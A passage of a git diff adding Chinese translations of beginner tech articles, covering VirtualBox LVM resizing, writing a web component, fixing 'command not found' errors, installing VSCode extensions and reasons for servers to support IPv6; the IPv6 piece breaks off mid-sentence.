+将逻辑卷增加 951 个物理扩展: + +``` +lvextend -l+951 /dev/mapper/fedora_localhost--live-root +``` + +![lvextend command output][36] + +在增加了逻辑卷后,最后一件事就是调整文件系统的大小: + +``` +resize2fs /dev/mapper/fedora_localhost--live-root +``` + +![resize2fs command output][37] + +这样磁盘空间就增加完成了!检查“磁盘使用分析器Disk Usage Analyzer”,你就可以看到扩展空间已经可用于文件系统了。 + +### 总结 + +使用虚拟机,你可以检查在一个特定的操作系统或一个特定版本的操作系统、软件是如何操作的。除此之外,你还可以尝试任何想测试的 Linux 发行版,而不必担心系统损坏。对于资深用户来说,VirtualBox 在测试、网络和模拟方面提供了广泛的可能性。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/try-linux-virtualbox + +作者:[Stephan Avenwedde][a] +选题:[lujun9972][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/hansic99 +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/computer_code_programming_laptop.jpg?itok=ormv35tV (Person programming on a laptop on a building) +[2]: https://www.virtualbox.org/ +[3]: https://getfedora.org/ +[4]: https://en.wikipedia.org/wiki/Hardware-assisted_virtualization +[5]: https://www.virtualbox.org/wiki/Downloads +[6]: https://en.wikipedia.org/wiki/Logical_Volume_Manager_(Linux) +[7]: https://opensource.com/sites/default/files/uploads/virtualbox_new_vm.png (VirtualBox New VM) +[8]: https://creativecommons.org/licenses/by-sa/4.0/ +[9]: https://opensource.com/sites/default/files/uploads/virtualbox_memory_size_1.png (Set VM memory size) +[10]: https://opensource.com/sites/default/files/uploads/virtualbox_create_hd_1.png (Create virtual hard disk) +[11]: https://opensource.com/sites/default/files/uploads/virtualbox_create_hd_2.png (Selecting hard disk file type) +[12]: https://opensource.com/sites/default/files/uploads/virtualbox_create_hd_3.png (Dynamically allocating hard disk) +[13]: https://getfedora.org/en/workstation/download/ +[14]: https://opensource.com/sites/default/files/uploads/virtualbox_create_hd_4.png (Setting hard disk size) +[15]: https://opensource.com/sites/default/files/uploads/virtualbox_cpu_settings.png (Assigning cores to guest system) +[16]: https://opensource.com/sites/default/files/uploads/virtualbox_network_settings2.png (Network settings) +[17]: https://en.wikipedia.org/wiki/Network_address_translation +[18]: https://www.virtualbox.org/manual/ch06.html#natforward +[19]: https://opensource.com/sites/default/files/uploads/virtualbox_choose_image3.png (Assigning OS image) +[20]: https://opensource.com/sites/default/files/uploads/virtualbox_running.png (VirtualBox Fedora installer) +[21]: https://opensource.com/sites/default/files/uploads/virtualbox_partitioning_1.png (Selecting Custom partition configuration) +[22]: https://opensource.com/article/18/9/swap-space-linux-systems +[23]: https://fedoraproject.org/wiki/Changes/SwapOnZRAM +[24]: https://opensource.com/sites/default/files/uploads/virtualbox_partitioning_2.png (Adding mount points) +[25]: https://opensource.com/sites/default/files/uploads/virtualbox_guest_additions_2.png (Selecting Guest Additions CD image) +[26]: https://opensource.com/sites/default/files/uploads/virtualbox_guest_additions_autorun.png (Enabling Guest Additions autorun) +[27]: https://opensource.com/sites/default/files/uploads/virtualbox_disk_usage_1.png (Fedora hard disk running out of space) +[28]: https://opensource.com/sites/default/files/uploads/virtualbox_disks_before.png (Free space before adding) +[29]: https://opensource.com/sites/default/files/uploads/virtualbox_new_partition_1.png (Creating a new partition and setting size) +[30]: https://opensource.com/sites/default/files/uploads/virtualbox_new_partition_2.png (Selecting "other" for partition volume type) +[31]: https://opensource.com/sites/default/files/uploads/virtualbox_no_partition_3.png (Setting "No filesystem" on new partition) +[32]: https://opensource.com/sites/default/files/uploads/virtualbox_disk_after.png (VirtualBox after adding new partition) +[33]: https://opensource.com/sites/default/files/uploads/virtualbox_vgscan.png (Checking LVM volume group by typing vgscan:) +[34]: https://opensource.com/sites/default/files/uploads/virtualbox_vgextend_2.png (vgextend command output) +[35]: https://opensource.com/sites/default/files/uploads/virtualbox_vgdisplay.png (vgdisplay command output) +[36]: https://opensource.com/sites/default/files/uploads/virtualbox_lvextend.png (lvextend command output) +[37]: https://opensource.com/sites/default/files/uploads/virtualbox_resizefs.png (resize2fs command output) diff --git a/published/202210/20210721 Write your first web component.md b/published/202210/20210721 Write your first web component.md new file mode 100644 index 0000000000..7f839f4858 --- /dev/null +++ b/published/202210/20210721 Write your first web component.md @@ -0,0 +1,184 @@ +[#]: subject: (Write your first web component) +[#]: via: (https://opensource.com/article/21/7/web-components) +[#]: author: (Ramakrishna Pattnaik https://opensource.com/users/rkpattnaik780) +[#]: collector: (lujun9972) +[#]: translator: (cool-summer-021) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15148-1.html) + +开发你的第一个 Web 组件 +====== + +> 不要做重复的工作;基于浏览器开发 Web App 时,需要制作一些可重用的模块。 + +![](https://img.linux.net.cn/data/attachment/album/202210/17/101134uzsiis8xsu9wqibi.jpg) + +Web 组件是一系列开源技术(例如 JavaScript 和 HTML)的集合,你可以用它们创建一些 Web App 中可重用的自定义元素。你创建的组件是独立于其他代码的,所以这些组件可以方便地在多个项目中重用。 + +首先,它是一个平台标准,所有主流的浏览器都支持它。 + +### Web 组件中包含什么? + + * **定制元素**:JavaScript API 支持定义 HTML 元素的新类别。 + * **影子 DOM**:JavaScript API 提供了一种将一个隐藏的、独立的 [文档对象模型][2](DOM)附加到一个元素的方法。它通过保留从页面的其他代码分离出来的样式、标记结构和行为特征对 Web 组件进行了封装。它会确保 Web 组件内样式不会被外部样式覆盖,反之亦然,Web 组件内样式也不会“泄露”到页面的其他部分。 + * **HTML 模板**:该元素支持定义可重用的 DOM 元素。可重用 DOM 元素和它的内容不会呈现在 DOM 内,但仍然可以通过 JavaScript 被引用。 + +### 开发你的第一个 Web 组件 + +你可以借助你最喜欢的文本编辑器和 JavaScript 写一个简单的 Web 组件。本指南使用 Bootstrap 生成简单的样式,并创建一个简易的卡片式的 Web 组件,给定了位置信息,该组件就能显示该位置的温度。该组件使用了 [Open Weather API][3],你需要先注册,然后创建 APPID/APIKey,才能正常使用。 + +调用该组件,需要给出位置的经度和纬度: + +``` + +``` + +创建一个名为 `weather-card.js` 的文件,这个文件包含 Web 组件的所有代码。首先,需要定义你的组件,创建一个模板元素,并在其中加入一些简单的 HTML 标签: + +``` +const template = document.createElement('template'); + +template.innerHTML = ` + 
+   
+` +``` + +定义 Web 组件的类及其构造函数: + +``` +class WeatherCard extends HTMLElement { +  constructor() { +    super(); +    this._shadowRoot = this.attachShadow({ 'mode': 'open' }); +    this._shadowRoot.appendChild(template.content.cloneNode(true)); +  } +  ...... +} +``` + +构造函数中,附加了 `shadowRoot` 属性,并将它设置为开启模式。然后这个模板就包含了 shadowRoot 属性。 + +接着,编写获取属性的函数。对于经度和纬度,你需要向 Open Weather API 发送 GET 请求。这些功能需要在 `connectedCallback` 函数中完成。你可以使用 `getAttribute` 方法访问相应的属性,或定义读取属性的方法,把它们绑定到本对象中。 + +``` +get longitude() { +  return this.getAttribute('longitude'); +} + +get latitude() { +  return this.getAttribute('latitude'); +} +``` + +现在定义 `connectedCallBack` 方法,它的功能是在需要时获取天气数据: + +``` +connectedCallback() { + var xmlHttp = new XMLHttpRequest(); + const url = `http://api.openweathermap.org/data/2.5/weather?lat=${this.latitude}&lon=${this.longitude}&appid=API_KEY` + xmlHttp.open("GET", url, false); + xmlHttp.send(null); + this.$card = this._shadowRoot.querySelector('.card-body'); + let responseObj = JSON.parse(xmlHttp.responseText); + let $townName = document.createElement('p'); + $townName.innerHTML = `Town: ${responseObj.name}`; + this._shadowRoot.appendChild($townName); + let $temperature = document.createElement('p'); + $temperature.innerHTML = `${parseInt(responseObj.main.temp - 273)} °C` + this._shadowRoot.appendChild($temperature); +} +``` + +一旦获取到天气数据,附加的 HTML 元素就添加进了模板。至此,完成了类的定义。 + +最后,使用 `window.customElements.define` 方法定义并注册一个新的自定义元素: + +``` +window.customElements.define('weather-card', WeatherCard); +``` + +其中,第一个参数是自定义元素的名称,第二个参数是所定义的类。这里是 [整个组件代码的链接][5]。 + +你的第一个 Web 组件的代码已完成!现在应该把它放入 DOM。为了把它放入 DOM,你需要在 HTML 文件(`index.html`)中载入指向 Web 组件的 JavaScript 脚本。 + +``` + + + + +  + + + + + + + +``` + +这就是显示在浏览器中的 Web 组件: + +![Web component displayed in a browser][6] + +由于 Web 组件中只包含 HTML、CSS 和 JavaScript,它们本来就是浏览器所支持的,并且可以无瑕疵地跟前端框架(例如 React 和 Vue)一同使用。下面这段简单的代码展现的是它跟一个由 [Create React App][8] 引导的一个简单的 React App 的整合方法。如果你需要,可以引入前面定义的 `weather-card.js`,把它作为一个组件使用: + +``` +import './App.css'; +import './weather-card'; + +function App() { +  return ( +  +  ); +} + +export default App; +``` + +### Web 组件的生命周期 + +一切组件都遵循从初始化到移除的生命周期法则。每个生命周期事件都有相应的方法,你可以借助这些方法令组件更好地工作。Web 组件的生命周期事件包括: + + * `Constructor`:Web 组件的构造函数在它被挂载前调用,意味着在元素附加到文档对象前被创建。它用于初始化本地状态、绑定事件处理器以及创建影子 DOM。在构造函数中,必须调用 `super()`,执行父类的构造函数。 + * `ConnectedCallBack`:当一个元素被挂载(即,插入 DOM 树)时调用。该函数处理创建 DOM 节点的初始化过程中的相关事宜,大多数情况下用于类似于网络请求的操作。React 开发者可以将它与 `componentDidMount` 相关联。 + * `attributeChangedCallback`:这个方法接收三个参数:`name`, `oldValue` 和 `newValue`。组件的任一属性发生变化,就会执行这个方法。属性由静态 `observedAttributes` 方法声明: + ``` + static get observedAttributes() { +   return ['name', '_id']; + } + ``` + 一旦属性名或 `_id` 改变,就会调用 `attributeChangedCallback` 方法。 + * `DisconnectedCallBack`:当一个元素从 DOM 树移除,会执行这个方法。它相当于 React 中的 `componentWillUnmount`。它可以用于释放不能由垃圾回收机制自动清除的资源,比如 DOM 事件的取消订阅、停用计时器或取消所有已注册的回调方法。 + * `AdoptedCallback`:每次自定义元素移动到一个新文档时调用。只有在处理 IFrame 时会发生这种情况。 + +### 模块化开源 + +Web 组件对于开发 Web App 很有用。无论你是熟练使用 JavaScript 的老手,还是初学者,无论你的目标客户使用哪种浏览器,借助这种开源标准创建可重用的代码都是一件可以轻松完成的事。 + +*插图:Ramakrishna Pattnaik, [CC BY-SA 4.0][7]* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/7/web-components + +作者:[Ramakrishna Pattnaik][a] +选题:[lujun9972][b] +译者:[cool-summer-021](https://github.com/cool-summer-021) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/rkpattnaik780 +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/browser_web_internet_website.png?itok=g5B_Bw62 (Digital creative of a browser on the internet) +[2]: https://en.wikipedia.org/wiki/Document_Object_Model +[3]: https://openweathermap.org/api +[4]: http://api.openweathermap.org/data/2.5/weather?lat=${this.latitude}\&lon=${this.longitude}\&appid=API\_KEY\` +[5]: https://gist.github.com/rkpattnaik780/acc683d3796102c26c1abb03369e31f8 +[6]: https://opensource.com/sites/default/files/uploads/webcomponent.png (Web component displayed in a browser) +[7]: https://creativecommons.org/licenses/by-sa/4.0/ +[8]: https://create-react-app.dev/docs/getting-started/ diff --git a/published/202210/20210929 Troubleshooting -Bash- Command Not Found- Error in Linux.md b/published/202210/20210929 Troubleshooting -Bash- Command Not Found- Error in Linux.md new file mode 100644 index 0000000000..b9fee2a03b --- /dev/null +++ b/published/202210/20210929 Troubleshooting -Bash- Command Not Found- Error in Linux.md @@ -0,0 +1,160 @@ +[#]: subject: "Troubleshooting “Bash: Command Not Found” Error in Linux" +[#]: via: "https://itsfoss.com/bash-command-not-found/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lujun9972" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15164-1.html" + +解决 Linux 中的 “Bash: Command Not Found” 报错 +====== + +> 本新手教程展示了在 Debian、Ubuntu 和其他的 Linux 发行版上如何解决 “Bash: command not found” 这一报错。 + +当你在 Linux 中使用命令时,你希望得到终端输出的结果。但有时候,你会遇到终端显示“命令未找到command not found”这一报错。 + +![][1] + +对于这个问题,并没有直截了当且单一的解决方案。你必须自己做一些故障排除来解决这个报错。 + +老实说,要解决它并不难。该报错信息已经给出了一些提示:“命令未找到”,这说明你的 shell(或者 Linux 系统)找不到你输入的那条命令。 + +shell(或 Linux 系统)找不到命令,有三个可能的原因: + + * 你将命令的名称拼错了 + * 该命令还没有安装 + * 该命令是一个可执行脚本,但其位置未知 + +接下来,我们会详细介绍“命令未找到”这一报错的每一个原因。 + +### 解决“命令未找到”报错 + +![][2] + +#### 方法 1:再次检查命令名称有没有写错 + +每个人都会犯错误,尤其是在打字的时候。你输入的命令可能存在错别字(也就是你写错啦)。 + +你应该特别注意: + + * 是否拼对了正确的命令名称 + * 是否在命令与其选项之间加上了空格 + * 是否在拼写中混淆了 1(数字 1)、I(大写的 i)和 l(小写的 L) + * 是否正确使用了大写字母或者小写字母 + +看看下面的示例,因为我写错了 `ls` 命令,所以会导致“command not found”报错。 + +![][3] + +所以,请再次仔细确认你输入得对不对。 + +#### 方法 2:确保命令已安装在你的系统上 + +这是“命令未找到”错误的另一个常见原因。如果命令尚未安装,则无法运行该命令。 + +虽然在默认情况下,你的 Linux 发行版自带安装了大量命令,但是不会在系统中预装 _所有的_ 命令行工具。如果你尝试运行的命令不是一个流行的常用命令,那么你需要先安装它。 + +你可以使用发行版的软件包管理器来安装命令。 + +![You may have to install the missing command][4] + +有时候,某一常用命令可能也不再能使用了,甚至你也不能够安装这个命令了。这种情况下,你需要找到一个替代的命令,来得到结果。 + +以现已弃用的 `ifconfig` 命令为例。网络上的旧教程依旧会让你使用 `ifconfig` 命令,来 [获取本机的 IP 地址][5] 和网络接口信息,但是,在较新的 Linux 版本中,你已经无法使用 `ifconfig` 了。`ifconfig` 命令已被 `ip` 命令所取代。 + +![Some popular commands get discontinued over the time][1] + +有时候,你的系统可能甚至找不到一些非常常见的命令。当你在 Docker 容器中运行 Linux 发行版时,就通常如此。Docker 容器为了缩小操作系统镜像的大小,容器中通常不包含那些常见的 Linux 命令。 + +这就是为什么使用 Docker 的用户会碰到 [ping 命令未找到][6] 等报错的原因。 + +![Docker containers often have only a few commands installed][7] + +因此,这种情况下的解决方案是安装缺失的命令,或者是找到一个与缺失命令有同等功能的工具。 + +### 方法 3:确保命令是真实的,而不是一个别名 + +我希望你知道 Linux 中的别名概念。你可以配置你自己的较短的命令来代替一个较长命令的输入。 + +一些发行版,如 Ubuntu,会自动提供 `ll`(`ls -l` 的别名)、`la`(`ls -a` 的别名)等命令。 + +![][13] + +想象一下,你习惯于在你的个人系统上输入 `ll` 和 `la`,而你登录到另一个 Linux 系统,发现 `ll` 命令并不存在。你甚至不能安装 `ll` 命令,因为它不是一个真正的命令。 + +所以,如果你找不到一个命令,甚至不能安装,你应该尝试在互联网上搜索该命令是否存在。如果不存在,可能是其他系统上的一个别名。 + +#### 方法 4:检查命令是否是一个路径正确的可执行脚本 + +这是 Linux 新手在 [运行 shell 脚本][8] 时常犯的错误。 + +即使你在同一目录下,仅用可执行脚本的名称,来运行可执行脚本,也会显示错误。 + +``` +[email protected]:~/scripts# sample +-bash: sample: command not found +``` + +因为你需要显式指定 shell 解释器或可执行脚本的路径! + +![][9] + +如果你在其他目录下,在未提供文件正确路径的情况下,运行 shell 脚本,则会有“找不到文件no such file or directory”的报错。 + +![][10] + +> **把可执行文件的路径加到 PATH 变量中** +> +> 有时候,你下载了一个软件的压缩文件(tar 格式),解压这个 tar 文件,然后找到一个可执行文件和其他程序文件。你需要运行可执行文件,来运行那个软件。 +> +> 但是,你需要在可执行文件的同一目录下或指定可执行文件的整个路径,才能运行那个可执行文件。这很令人烦扰。 +> +> 你可以使用 `PATH` 变量来解决这个问题。`PATH` 变量包含了有各种 Linux 命令的二进制(可执行)文件的目录集合。当你运行一个命令时,你的 Linux 系统会检查 `PATH` 变量中的上述目录,以查找该命令的可执行文件。 +> +> 你可以使用 `which` 命令,来检查某一命令的二进制文件的位置: +> +> ![][11] +> +> 如果你想从系统上的任何地方都能运行可执行文件或脚本,你需要将可执行文件的位置添加到 `PATH` 变量中。 +> +> ![][12] +> +> 然后,`PATH` 变量需要添加到 shell 的 rc 文件中,如此对 `PATH` 变量的更改就是永久性的。 +> +> 这里的要点是:你的 Linux 系统必须了解可执行脚本的位置。要么在运行时给出可执行文件的整个路径,要么将其位置添加到 `PATH` 变量中。 + +### 以上的内容有帮到你吗? + +我懂得,当你是 Linux 新手时,很多事情可能会让你不知所措。但是,当你了解问题的根本原因时,你的知识会逐渐增加。 + +对于“未找到命令”报错来说,没有简单的解决方案。我提供给你了一些提示和要点,我希望这对你的故障排除有帮助。 + +如果你仍然有疑问或需要帮助,请在评论区告诉我吧。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/bash-command-not-found/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/09/bash-command-not-found-error.png?resize=741%2C291&ssl=1 +[2]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/09/bash-command-not-found-error-1.png?resize=800%2C450&ssl=1 +[3]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/09/command-not-found-error.png?resize=723%2C234&ssl=1 +[4]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/09/command-not-found-debian.png?resize=741%2C348&ssl=1 +[5]: https://itsfoss.com/check-ip-address-ubuntu/ +[6]: https://linuxhandbook.com/ping-command-ubuntu/ +[7]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/09/ping-command-not-found-ubuntu.png?resize=786%2C367&ssl=1 +[8]: https://itsfoss.com/run-shell-script-linux/ +[9]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/09/bash-script-command-not-found-error-800x331.png?resize=800%2C331&ssl=1 +[10]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/09/script-file-not-found-error-800x259.png?resize=800%2C259&ssl=1 +[11]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/09/path-location.png?resize=800%2C241&ssl=1 +[12]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/09/adding-executable-to-PATH-variable-linux.png?resize=800%2C313&ssl=1 +[13]: https://itsfoss.com/wp-content/uploads/2022/01/alias-in-ubuntu.png \ No newline at end of file diff --git a/published/202210/20211022 How to Install Visual Studio Code Extensions.md b/published/202210/20211022 How to Install Visual Studio Code Extensions.md new file mode 100644 index 0000000000..56bcacc1af --- /dev/null +++ b/published/202210/20211022 How to Install Visual Studio Code Extensions.md @@ -0,0 +1,144 @@ +[#]: subject: "How to Install Visual Studio Code Extensions" +[#]: via: "https://itsfoss.com/install-vs-code-extensions/" +[#]: author: "Pratham Patel https://itsfoss.com/author/pratham/" +[#]: collector: "lujun9972" +[#]: translator: "CoWave-Fall" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15100-1.html" + +如何安装 VSCode 扩展 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/02/232225yzgzrymdrepj2mpa.jpg) + +> 通过图形界面和命令行两种方法,了解如何在 VSCode 中搜索和安装扩展。 + +微软的 [Visual Studio Code][1](VSCode)可能是最流行的 [开源代码编辑器][2],仅次于 Vim(当然)。 + +VSCode 通过提供几乎所有类似 IDE 的功能,提供了令人惊叹的“开箱即用”体验。 但总有一些事情是你希望 VSCode 能够另外做到的。_正所谓“邻家芳草绿,隔岸风景好”_ : ) + +你可以在 Visual Studio Code [市场][3]Marketplace 找到 VSCode 扩展插件。在 VSCode 市场上发布的扩展插件在发布之前会进行病毒扫描,所以这些扩展可以 [信任][4]。 + +### 在 VSCode 中安装扩展插件 + +你不需要访问 VSCode 市场Marketplace 网站就可以安装扩展插件。也就是说,你可以直接从 VSCode 本身安装和管理扩展插件。 + +我希望你已经在你使用的操作系统(比如 [在 Linux][5])上 安装了 VSCode。 + +打开 VSCode,最左侧是活动栏。活动栏上的最后一个按钮就是“扩展”按钮。点击它之后你会看到大量可安装的扩展。 + +![访问 VSCode 中的扩展选项卡][6] + +你也可以按快捷键组合 `Ctrl + Shift + X` 来启动扩展栏的侧面面板。 + +如果你还没有安装任何扩展的话,你会看到 VSCode 市场上最流行的扩展列表。 + +#### 找到并安装某个扩展(图形界面方法) + +现在是时候尝试一下 Linux 人谈论的 `vim` 了(鼓动的语气); ) + +开玩笑啦。让我们安装一些对我们初学者更友好,可以轻松使用而且无需太多练习的扩展吧。 + +从最流行的扩展列表中单击 “Visual Studio IntelliCode” (①)扩展。 + +![如何安装 Visual Studio IntelliCode 等扩展][7] + +点击 “安装Install” 按钮(②)即可安装 “Visual Studio IntelliCode” 扩展。这个扩展会在你编写代码时为你提供 AI 预测的建议。 + +安装后,你可以充分利用此扩展。试试用你喜欢的编程语言输入一段代码,然后看看 AI 的自动完成功能是否顺利运行而且没有拖慢你的工作进程。 + +![在 Visual Studio Code 中管理已安装的扩展][8] + +如果你不喜欢某个已安装的扩展插件,你只需单击 “卸载Uninstall” 按钮(②)即可完全删除不需要的扩展插件。 + +如果你安装了多个扩展插件,并且你觉得其中某个扩展插件给你带来了问题——比如说突然崩溃;你只需点击 “禁用Disable” 按钮(①)即可禁用一个(或多个)扩展插件,并检查扩展插件 _甲_ 是否在起作用,或者它是扩展插件 _乙_,还是完全不同的东西。 + +考虑到扩展删除和重新安装需要很长时间,当你安装了多个扩展时,禁用扩展会很方便。 + +#### 另外方法:使用终端安装扩展 + +你知道你可以从终端安装 VSCode 扩展吗?不过,现在你知道了! + +要从你的终端安装扩展程序,你需要知道扩展程序名称和发布者名称,再按照 `发布者名称.扩展程序名称` 的顺序找到它。比如说,如果你想安装 “Visual Studio IntelliCode” 这个扩展(前面提到的),它的名称就是 `VisualStudioExptTeam.vscodeintellicode`。 + +要找出扩展用于标识的唯一名称(ID),首先要在你的浏览器中 [访问 VSCode 市场][9]。 + +![VSCode 市场的截图][10] + +然后搜索某个扩展,在本教程中,我将以安装 “Visual Studio IntelliCode” 这个扩展为例。下一步,打开你要安装的扩展程序的页面。 + +![搜索Visual Studio IntelliCode并打开扩展网页][11] + +打开扩展程序的网页后,你将看到一个代码块。下面的截图突出标示了扩展程序的 ID。 + +![VSCode 扩展的 ID][12] + +一旦你有了想要安装的扩展的 ID —— 在这种情况下是 `VisualStudioExptTeam.vscodeintellicode`,你可以通过在终端中运行以下命令来继续。 + +``` +code --install-extension VisualStudioExptTeam.vscodeintellicode +``` + +与图形界面一样,命令行界面也允许你安装、禁用、删除和管理扩展。 + +可以通过运行以下命令查看已安装的所有扩展的列表。 + +``` +code --list-extensions +``` + +要禁用单个扩展,请运行以下命令: + +``` +code --disable-extension <在这里输入扩展的ID> +``` + +如果要禁用所有扩展,可以运行以下命令: + +``` +code --disable-extensions +``` + +上述命令将禁用 **所有** 已安装的扩展。这将帮助你判断导致问题的是插件,还是 VSCode 本身。 + +现在,如果你想完全删除任何某个扩展,请运行以下命令: + +``` +code --uninstall-extension <在这里输入扩展的ID> +``` + +### 总结 + +我发现使用 VSCode 安装扩展要容易得多。毕竟,它直接在我编辑器左边的侧栏中。 + +一旦你对 VSCode 的操作得心应手,也许可以看看这篇文章,[VSCode 实用快捷键][13] 可能会帮助你提高工作效率! + +写代码顺利,新朋友! : ) + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/install-vs-code-extensions/ + +作者:[Pratham Patel][a] +选题:[lujun9972][b] +译者:[泠知落汐](https://github.com/CoWave-Fall) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/pratham/ +[b]: https://github.com/lujun9972 +[1]: https://code.visualstudio.com/ +[2]: https://itsfoss.com/best-modern-open-source-code-editors-for-linux/ +[3]: https://marketplace.visualstudio.com/VSCode +[4]: https://code.visualstudio.com/docs/editor/extension-marketplace#_can-i-trust-extensions-from-the-marketplace +[5]: https://itsfoss.com/install-visual-studio-code-ubuntu/ +[6]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/01-all-extensions-1.webp?resize=800%2C450&ssl=1 +[7]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/02-select-intellicode-1.webp?resize=800%2C450&ssl=1 +[8]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/10/03-intellicode-installation-done-1.webp?resize=800%2C450&ssl=1 +[9]: https://marketplace.visualstudio.com/ +[10]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/visual_studio_code_marketplace.webp?resize=800%2C450&ssl=1 +[11]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/10/visual_stuido_code_ext_search.webp?resize=800%2C450&ssl=1 +[12]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/vs_code_extension_identifier.webp?resize=800%2C450&ssl=1 +[13]: https://itsfoss.com/vs-code-shortcuts/ diff --git a/published/202210/20220129 Reasons for servers to support IPv6.md b/published/202210/20220129 Reasons for servers to support IPv6.md new file mode 100644 index 0000000000..fc9ec8ecdd --- /dev/null +++ b/published/202210/20220129 Reasons for servers to support IPv6.md @@ -0,0 +1,182 @@ +[#]: subject: "Reasons for servers to support IPv6" +[#]: via: "https://jvns.ca/blog/2022/01/29/reasons-for-servers-to-support-ipv6/" +[#]: author: "Julia Evans https://jvns.ca/" +[#]: collector: "lujun9972" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15142-1.html" + +服务器支持 IPv6 的原因 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/15/155046v94vbmo5imykfkxz.jpg) + +我一直在努力学习关于 IPv6 的相关知识。一方面,IPv6 的基础概念是很简单的(没有足够的 IPv4 地址可以满足互联网上的所有设备,所以人们发明了 IPv6!每个人都能有足够的 IPv6 地址!) + +但是当我试图进一步理解它时,我遇到了很多问题。其中一个问题是:为什么 twitter.com 不支持 IPv6。假设,网站不支持 IPv6 并不会造成很多困难,那么为什么网站需要支持 IPv6 呢? + +我在 Twitter 上询问了很多人 [为什么他们的服务器支持 IPv6][1],我得到了很多很好的答案,我将在这里总结一下。事先说明一下,因为我对 IPv6 基本上毫无经验,所以下面所总结的理由中可能会有写得不准确的地方,请大家多多包涵。 + +首先,我想解释一下为什么 twitter.com 可以不支持 IPv6,因为这是最先让我困惑的地方。 + +### 怎么知道 twitter.com 不支持 IPv6 呢? + +你可以使用 `dig` 命令以 `AAAA` 的选项查询某一个域名的 IPv6 地址记录,如果没有记录,则表明该域名不支持 IPv6。除了 twitter.com,还有一些大型网站,如 github.com 和 stripe.com 也不支持 IPv6。 + +``` +$ dig AAAA twitter.com +(empty response) +$ dig AAAA github.com +(empty response) +$ dig AAAA stripe.com +(empty response) +``` + +### 为什么 twitter.com 仍然适用于 IPv6 用户? + +我发现这真的很令人困惑。我一直听说因为 IPv4 地址已经用完了,从而很多互联网用户被迫要使用 IPv6 地址。但如果这是真的,twitter.com 怎么能继续为那些没有 IPv6 支持的人提供服务呢?以下内容是我昨天从 Twitter 会话中学习到的。 + +互联网服务提供商(ISP)有两种: + + 1. 能为所有用户拥有足够 IPv4 地址的 ISP + 2. 不能为所有用户拥有足够 IPv4 地址的 ISP + +我的互联网服务提供商属于第 1 类,因此我的计算机有自己的 IPv4 地址,实际上我的互联网服务提供商甚至根本不支持 IPv6。 + +但是很多互联网服务提供商(尤其是北美以外的)都属于第 2 类:他们没有足够的 IPv4 地址供所有用户使用。这些互联网服务提供商通过以下方式处理问题: + + * 为所有用户提供唯一的 IPv6 地址,以便他们可以直接访问 IPv6 网站 + * 让用户 _共享_ IPv4 地址,这可以使用 CGNAT(“[运营商级 NAT][2]carrier-grade NAT”)或者“464XLAT”或其他方式。 + +所有互联网服务提供商都需要 _一些_ IPv4 地址,否则他们的用户将无法访问 twitter.com 等只能使用 IPv4 的网站。 + +### 为什么网站要支持 IPv6? + +现在,我们已经解释了为什么可以 _不支持_ IPv6。那为什么要支持 IPv6 呢?有下面这些原因。 + +#### 原因一:CGNAT 是一个性能瓶颈 + +对我而言,支持 IPv6 最有说服力的论点是:CGNAT 是一个瓶颈,它会导致性能问题,并且随着对 IPv4 地址的访问变得越来越受限,它的性能会变得更糟。 + +有人也提到:因为 CGNAT 是一个性能瓶颈,因此它成为了一个有吸引力的拒绝服务攻击(DDoS)的目标,因为你可以通过攻击一台服务器,影响其他用户对该服务器的网站的可用性。 + +支持 IPv6 的服务器减少了对 CGNAT 的需求(IPv6 用户可以直接连接!),这使得互联网对每个人的响应速度都更快了。 + +我认为这个论点很有趣,因为它需要各方的努力——仅仅你的网站支持 IPv6,并不会让你的网站更好地运行,而更重要的是如果 _几乎每个网站_ 都支持 IPv6,那么它将使每个人的互联网体验更好,尤其对于那些无法轻松访问 IPv4 地址的国家/地区。 + +实际上,我不知道这在实践中会有多大的关系。 + +不过,使用 IPv6 